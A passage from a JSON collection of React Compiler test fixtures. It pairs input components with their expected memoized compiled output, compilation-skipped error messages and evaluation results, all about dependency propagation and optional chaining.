t0;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    // pattern 1\n    { cond: true, a: 42 },\n    { cond: true, a: 42 },\n    // pattern 2\n    { cond: false, b: 3.14 },\n    { cond: false, b: 3.14 },\n    // pattern 1\n    { cond: true, a: 42 },\n    // pattern 2\n    { cond: false, b: 3.14 },\n    // pattern 1\n    { cond: true, a: 42 },\n    // pattern 2\n    { cond: false, b: 3.14 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]\n[42]\n[3.14]\n[3.14]\n[42]\n[3.14]\n[42]\n[3.14]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/early-return-within-reactive-scope.js",
    "content": "// @enablePropagateDepsInHIR\nimport {makeArray} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = [];\n  if (props.cond) {\n    x.push(props.a);\n    // oops no memo!\n    return x;\n  } else {\n    return makeArray(props.b);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    // pattern 1\n    {cond: true, a: 42},\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n    {cond: false, b: 3.14},\n    // pattern 1\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n    // pattern 1\n    {cond: true, a: 42},\n    // pattern 2\n    {cond: false, b: 3.14},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional-optional.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    if (props.cond) {\n      x.push(props?.items);\n    }\n    return x;\n  }, [props?.items, props.cond]);\n  return (\n    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items`, but the source dependencies were [props?.items, props.cond]. Inferred different dependency than source.\n\nerror.todo-optional-member-expression-with-conditional-optional.ts:4:23\n   2 | import {ValidateMemoization} from 'shared-runtime';\n   3 | function Component(props) {\n>  4 |   const data = useMemo(() => {\n     |                        ^^^^^^^\n>  5 |     const x = [];\n     | ^^^^^^^^^^^^^^^^^\n>  6 |     x.push(props?.items);\n     | ^^^^^^^^^^^^^^^^^\n>  7 |     if (props.cond) {\n     | ^^^^^^^^^^^^^^^^^\n>  8 |       x.push(props?.items);\n     | ^^^^^^^^^^^^^^^^^\n>  9 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 10 |     return x;\n     | ^^^^^^^^^^^^^^^^^\n> 11 |   }, [props?.items, props.cond]);\n     | ^^^^ Could not preserve existing manual memoization\n  12 |   return (\n  13 |     <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  14 |   );\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional-optional.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    if (props.cond) {\n      x.push(props?.items);\n    }\n    return x;\n  }, [props?.items, props.cond]);\n  return (\n    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    if (props.cond) {\n      x.push(props.items);\n    }\n    return x;\n  }, [props?.items, props.cond]);\n  return (\n    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items`, but the source dependencies were [props?.items, props.cond]. Inferred different dependency than source.\n\nerror.todo-optional-member-expression-with-conditional.ts:4:23\n   2 | import {ValidateMemoization} from 'shared-runtime';\n   3 | function Component(props) {\n>  4 |   const data = useMemo(() => {\n     |                        ^^^^^^^\n>  5 |     const x = [];\n     | ^^^^^^^^^^^^^^^^^\n>  6 |     x.push(props?.items);\n     | ^^^^^^^^^^^^^^^^^\n>  7 |     if (props.cond) {\n     | ^^^^^^^^^^^^^^^^^\n>  8 |       x.push(props.items);\n     | ^^^^^^^^^^^^^^^^^\n>  9 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 10 |     return x;\n     | ^^^^^^^^^^^^^^^^^\n> 11 |   }, [props?.items, props.cond]);\n     | ^^^^ Could not preserve existing manual memoization\n  12 |   return (\n  13 |     <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  14 |   );\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/error.todo-optional-member-expression-with-conditional.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    if (props.cond) {\n      x.push(props.items);\n    }\n    return x;\n  }, [props?.items, props.cond]);\n  return (\n    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/iife-return-modified-later-phi.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nfunction Component(props) {\n  const items = (() => {\n    if (props.cond) {\n      return [];\n    } else {\n      return null;\n    }\n  })();\n  items?.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nfunction Component(props) {\n  const $ = _c(3);\n  let items;\n  if ($[0] !== props.a || $[1] !== props.cond) {\n    let t0;\n    if (props.cond) {\n      t0 = [];\n    } else {\n      t0 = null;\n    }\n    items = t0;\n\n    items?.push(props.a);\n    $[0] = props.a;\n    $[1] = props.cond;\n    $[2] = items;\n  } else {\n    items = $[2];\n  }\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: {} }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/iife-return-modified-later-phi.js",
    "content": "// @enablePropagateDepsInHIR\nfunction Component(props) {\n  const items = (() => {\n    if (props.cond) {\n      return [];\n    } else {\n      return null;\n    }\n  })();\n  items?.push(props.a);\n  return items;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-component-props-non-null.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {identity, Stringify} from 'shared-runtime';\n\nfunction Foo(props) {\n  /**\n   * props.value should be inferred as the dependency of this scope\n   * since we know that props is safe to read from (i.e. non-null)\n   * as it is arg[0] of a component function\n   */\n  const arr = [];\n  if (props.cond) {\n    arr.push(identity(props.value));\n  }\n  return <Stringify arr={arr} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 2, cond: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { identity, Stringify } from \"shared-runtime\";\n\nfunction Foo(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.cond || $[1] !== props.value) {\n    const arr = [];\n    if (props.cond) {\n      let t1;\n      if ($[3] !== props.value) {\n        t1 = identity(props.value);\n        $[3] = props.value;\n        $[4] = t1;\n      } else {\n        t1 = $[4];\n      }\n      arr.push(t1);\n    }\n    t0 = <Stringify arr={arr} />;\n    $[0] = props.cond;\n    $[1] = props.value;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ value: 2, cond: true }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"arr\":[2]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-component-props-non-null.tsx",
    "content": "// @enablePropagateDepsInHIR\nimport {identity, Stringify} from 'shared-runtime';\n\nfunction Foo(props) {\n  /**\n   * props.value should be inferred as the dependency of this scope\n   * since we know that props is safe to read from (i.e. non-null)\n   * as it is arg[0] of a component function\n   */\n  const arr = [];\n  if (props.cond) {\n    arr.push(identity(props.value));\n  }\n  return <Stringify arr={arr} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 2, cond: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-non-null-destructure.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {identity, useIdentity} from 'shared-runtime';\n\nfunction useFoo({arg, cond}: {arg: number; cond: boolean}) {\n  const maybeObj = useIdentity({value: arg});\n  const {value} = maybeObj;\n  useIdentity(null);\n  /**\n   * maybeObj.value should be inferred as the dependency of this scope\n   * since we know that maybeObj is safe to read from (i.e. non-null)\n   * due to the above destructuring instruction\n   */\n  const arr = [];\n  if (cond) {\n    arr.push(identity(maybeObj.value));\n  }\n  return {arr, value};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arg: 2, cond: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { identity, useIdentity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(10);\n  const { arg, cond } = t0;\n  let t1;\n  if ($[0] !== arg) {\n    t1 = { value: arg };\n    $[0] = arg;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const maybeObj = useIdentity(t1);\n  const { value } = maybeObj;\n  useIdentity(null);\n  let arr;\n  if ($[2] !== cond || $[3] !== maybeObj.value) {\n    arr = [];\n    if (cond) {\n      let t2;\n      if ($[5] !== maybeObj.value) {\n        t2 = identity(maybeObj.value);\n        $[5] = maybeObj.value;\n        $[6] = t2;\n      } else {\n        t2 = $[6];\n      }\n      arr.push(t2);\n    }\n    $[2] = cond;\n    $[3] = maybeObj.value;\n    $[4] = arr;\n  } else {\n    arr = $[4];\n  }\n  let t2;\n  if ($[7] !== arr || $[8] !== value) {\n    t2 = { arr, value };\n    $[7] = arr;\n    $[8] = value;\n    $[9] = t2;\n  } else {\n    t2 = $[9];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ arg: 2, cond: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"arr\":[],\"value\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-non-null-destructure.ts",
    "content": "// @enablePropagateDepsInHIR\nimport {identity, useIdentity} from 'shared-runtime';\n\nfunction useFoo({arg, cond}: {arg: number; cond: boolean}) {\n  const maybeObj = useIdentity({value: arg});\n  const {value} = maybeObj;\n  useIdentity(null);\n  /**\n   * maybeObj.value should be inferred as the dependency of this scope\n   * since we know that maybeObj is safe to read from (i.e. non-null)\n   * due to the above destructuring instruction\n   */\n  const arr = [];\n  if (cond) {\n    arr.push(identity(maybeObj.value));\n  }\n  return {arr, value};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arg: 2, cond: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-sequential-optional-chain-nonnull.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nfunction useFoo({a}) {\n  let x = [];\n  x.push(a?.b.c?.d.e);\n  x.push(a.b?.c.d?.e);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [\n    {a: null},\n    {a: null},\n    {a: {}},\n    {a: {b: {c: {d: {e: 42}}}}},\n    {a: {b: {c: {d: {e: 43}}}}},\n    {a: {b: {c: {d: {e: undefined}}}}},\n    {a: {b: undefined}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { a } = t0;\n  let x;\n  if ($[0] !== a.b.c.d.e) {\n    x = [];\n    x.push(a?.b.c?.d.e);\n    x.push(a.b?.c.d?.e);\n    $[0] = a.b.c.d.e;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: null }],\n  sequentialRenders: [\n    { a: null },\n    { a: null },\n    { a: {} },\n    { a: { b: { c: { d: { e: 42 } } } } },\n    { a: { b: { c: { d: { e: 43 } } } } },\n    { a: { b: { c: { d: { e: undefined } } } } },\n    { a: { b: undefined } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]\n[42,42]\n[43,43]\n[null,null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/infer-sequential-optional-chain-nonnull.ts",
    "content": "// @enablePropagateDepsInHIR\n\nfunction useFoo({a}) {\n  let x = [];\n  x.push(a?.b.c?.d.e);\n  x.push(a.b?.c.d?.e);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: null}],\n  sequentialRenders: [\n    {a: null},\n    {a: null},\n    {a: {}},\n    {a: {b: {c: {d: {e: 42}}}}},\n    {a: {b: {c: {d: {e: 43}}}}},\n    {a: {b: {c: {d: {e: undefined}}}}},\n    {a: {b: undefined}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/nested-optional-chains.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\n\nimport {identity} from 'shared-runtime';\n\n/**\n * identity(...)?.toString() is the outer optional, and prop?.value is the inner\n * one.\n * Note that prop?.\n */\nfunction useFoo({\n  prop1,\n  prop2,\n  prop3,\n  prop4,\n  prop5,\n  prop6,\n}: {\n  prop1: null | {value: number};\n  prop2: null | {inner: {value: number}};\n  prop3: null | {fn: (val: any) => NonNullable<object>};\n  prop4: null | {inner: {value: number}};\n  prop5: null | {fn: (val: any) => NonNullable<object>};\n  prop6: null | {inner: {value: number}};\n}) {\n  // prop1?.value should be hoisted as the dependency of x\n  const x = identity(prop1?.value)?.toString();\n\n  // prop2?.inner.value should be hoisted as the dependency of y\n  const y = identity(prop2?.inner.value)?.toString();\n\n  // prop3 and prop4?.inner should be hoisted as the dependency of z\n  const z = prop3?.fn(prop4?.inner.value).toString();\n\n  // prop5 and prop6?.inner should be hoisted as the dependency of zz\n  const zz = prop5?.fn(prop6?.inner.value)?.toString();\n  return [x, y, z, zz];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n  ],\n  sequentialRenders: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: 3}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: 4}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: 4}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: 3}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: 4}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: undefined}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: undefined}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {},\n      prop3: {fn: identity},\n      prop4: {},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\n\nimport { identity } from \"shared-runtime\";\n\n/**\n * identity(...)?.toString() is the outer optional, and prop?.value is the inner\n * one.\n * Note that prop?.\n */\nfunction useFoo(t0) {\n  const $ = _c(15);\n  const { prop1, prop2, prop3, prop4, prop5, prop6 } = t0;\n  let t1;\n  if ($[0] !== prop1?.value) {\n    t1 = identity(prop1?.value)?.toString();\n    $[0] = prop1?.value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let t2;\n  if ($[2] !== prop2?.inner.value) {\n    t2 = identity(prop2?.inner.value)?.toString();\n    $[2] = prop2?.inner.value;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const y = t2;\n  let t3;\n  if ($[4] !== prop3 || $[5] !== prop4?.inner) {\n    t3 = prop3?.fn(prop4?.inner.value).toString();\n    $[4] = prop3;\n    $[5] = prop4?.inner;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  const z = t3;\n  let t4;\n  if ($[7] !== prop5 || $[8] !== prop6?.inner) {\n    t4 = prop5?.fn(prop6?.inner.value)?.toString();\n    $[7] = prop5;\n    $[8] = prop6?.inner;\n    $[9] = t4;\n  } else {\n    t4 = $[9];\n  }\n  const zz = t4;\n  let t5;\n  if ($[10] !== x || $[11] !== y || $[12] !== z || $[13] !== zz) {\n    t5 = [x, y, z, zz];\n    $[10] = x;\n    $[11] = y;\n    $[12] = z;\n    $[13] = zz;\n    $[14] = t5;\n  } else {\n    t5 = $[14];\n  }\n  return t5;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n  ],\n\n  sequentialRenders: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n    {\n      prop1: { value: 2 },\n      prop2: { inner: { value: 3 } },\n      prop3: { fn: identity },\n      prop4: { inner: { value: 4 } },\n      prop5: { fn: identity },\n      prop6: { inner: { value: 4 } },\n    },\n    {\n      prop1: { value: 2 },\n      prop2: { inner: { value: 3 } },\n      prop3: { fn: identity },\n      prop4: { inner: { value: 4 } },\n      prop5: { fn: identity },\n      prop6: { inner: { value: undefined } },\n    },\n    {\n      prop1: { value: 2 },\n      prop2: { inner: { value: undefined } },\n      prop3: { fn: identity },\n      prop4: { inner: { value: undefined } },\n      prop5: { fn: identity },\n      prop6: { inner: { value: undefined } },\n    },\n    {\n      prop1: { value: 2 },\n      prop2: {},\n      prop3: { fn: identity },\n      prop4: {},\n      prop5: { fn: identity },\n      prop6: { inner: { value: undefined } },\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [null,null,null,null]\n[\"2\",\"3\",\"4\",\"4\"]\n[\"2\",\"3\",\"4\",null]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'toString') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'value') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/nested-optional-chains.ts",
    "content": "// @enablePropagateDepsInHIR\n\nimport {identity} from 'shared-runtime';\n\n/**\n * identity(...)?.toString() is the outer optional, and prop?.value is the inner\n * one.\n * Note that prop?.\n */\nfunction useFoo({\n  prop1,\n  prop2,\n  prop3,\n  prop4,\n  prop5,\n  prop6,\n}: {\n  prop1: null | {value: number};\n  prop2: null | {inner: {value: number}};\n  prop3: null | {fn: (val: any) => NonNullable<object>};\n  prop4: null | {inner: {value: number}};\n  prop5: null | {fn: (val: any) => NonNullable<object>};\n  prop6: null | {inner: {value: number}};\n}) {\n  // prop1?.value should be hoisted as the dependency of x\n  const x = identity(prop1?.value)?.toString();\n\n  // prop2?.inner.value should be hoisted as the dependency of y\n  const y = identity(prop2?.inner.value)?.toString();\n\n  // prop3 and prop4?.inner should be hoisted as the dependency of z\n  const z = prop3?.fn(prop4?.inner.value).toString();\n\n  // prop5 and prop6?.inner should be hoisted as the dependency of zz\n  const zz = prop5?.fn(prop6?.inner.value)?.toString();\n  return [x, y, z, zz];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n  ],\n  sequentialRenders: [\n    {\n      prop1: null,\n      prop2: null,\n      prop3: null,\n      prop4: null,\n      prop5: null,\n      prop6: null,\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: 3}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: 4}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: 4}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: 3}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: 4}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {inner: {value: undefined}},\n      prop3: {fn: identity},\n      prop4: {inner: {value: undefined}},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n    {\n      prop1: {value: 2},\n      prop2: {},\n      prop3: {fn: identity},\n      prop4: {},\n      prop5: {fn: identity},\n      prop6: {inner: {value: undefined}},\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/object-mutated-in-consequent-alternate-both-return.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePropagateDepsInHIR\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n  if (props.cond) {\n    object.value = 1;\n    return object;\n  } else {\n    object.value = props.value;\n    return object;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, value: [0, 1, 2]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePropagateDepsInHIR\nimport { makeObject_Primitives } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.cond || $[1] !== props.value) {\n    t0 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      const object = makeObject_Primitives();\n      if (props.cond) {\n        object.value = 1;\n        t0 = object;\n        break bb0;\n      } else {\n        object.value = props.value;\n        t0 = object;\n        break bb0;\n      }\n    }\n    $[0] = props.cond;\n    $[1] = props.value;\n    $[2] = t0;\n  } else {\n    t0 = $[2];\n  }\n  if (t0 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t0;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: false, value: [0, 1, 2] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":0,\"b\":\"value1\",\"c\":true,\"value\":[0,1,2]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/object-mutated-in-consequent-alternate-both-return.js",
    "content": "// @enablePropagateDepsInHIR\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n  if (props.cond) {\n    object.value = 1;\n    return object;\n  } else {\n    object.value = props.value;\n    return object;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: false, value: [0, 1, 2]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-as-memo-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {identity, ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\n\nfunction Component({arg}) {\n  const data = useMemo(() => {\n    return arg?.items.edges?.nodes.map(identity);\n  }, [arg?.items.edges?.nodes]);\n  return (\n    <ValidateMemoization inputs={[arg?.items.edges?.nodes]} output={data} />\n  );\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: null}],\n  sequentialRenders: [\n    {arg: null},\n    {arg: null},\n    {arg: {items: {edges: null}}},\n    {arg: {items: {edges: null}}},\n    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},\n    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport { identity, ValidateMemoization } from \"shared-runtime\";\nimport { useMemo } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(7);\n  const { arg } = t0;\n\n  arg?.items.edges?.nodes;\n  let t1;\n  if ($[0] !== arg?.items.edges?.nodes) {\n    t1 = arg?.items.edges?.nodes.map(identity);\n    $[0] = arg?.items.edges?.nodes;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const data = t1;\n\n  const t2 = arg?.items.edges?.nodes;\n  let t3;\n  if ($[2] !== t2) {\n    t3 = [t2];\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  let t4;\n  if ($[4] !== data || $[5] !== t3) {\n    t4 = <ValidateMemoization inputs={t3} output={data} />;\n    $[4] = data;\n    $[5] = t3;\n    $[6] = t4;\n  } else {\n    t4 = $[6];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ arg: null }],\n  sequentialRenders: [\n    { arg: null },\n    { arg: null },\n    { arg: { items: { edges: null } } },\n    { arg: { items: { edges: null } } },\n    { arg: { items: { edges: { nodes: [1, 2, \"hello\"] } } } },\n    { arg: { items: { edges: { nodes: [1, 2, \"hello\"] } } } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[null]}</div>\n<div>{\"inputs\":[null]}</div>\n<div>{\"inputs\":[null]}</div>\n<div>{\"inputs\":[null]}</div>\n<div>{\"inputs\":[[1,2,\"hello\"]],\"output\":[1,2,\"hello\"]}</div>\n<div>{\"inputs\":[[1,2,\"hello\"]],\"output\":[1,2,\"hello\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/propagate-scope-deps-hir-fork/optional-member-expression-as-memo-dep.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies @enablePropagateDepsInHIR\nimport {identity, ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\n\nfunction Component({arg}) {\n  const data = useMemo(() => {\n    return arg?.items.edges?.nodes.map(identity);\n  }, [arg?.items.edges?.nodes]);\n  return (\n    <ValidateMemoization inputs={[arg?.items.edges?.nodes]} output={data} />\n  );\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{arg: null}],\n  sequentialRenders: [\n    {arg: null},\n    {arg: null},\n    {arg: {items: {edges: null}}},\n    {arg: {items: {edges: null}}},\n    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},\n    {arg: {items: {edges: {nodes: [1, 2, 'hello']}}}},\n  ],\n};\n"
  },
  {
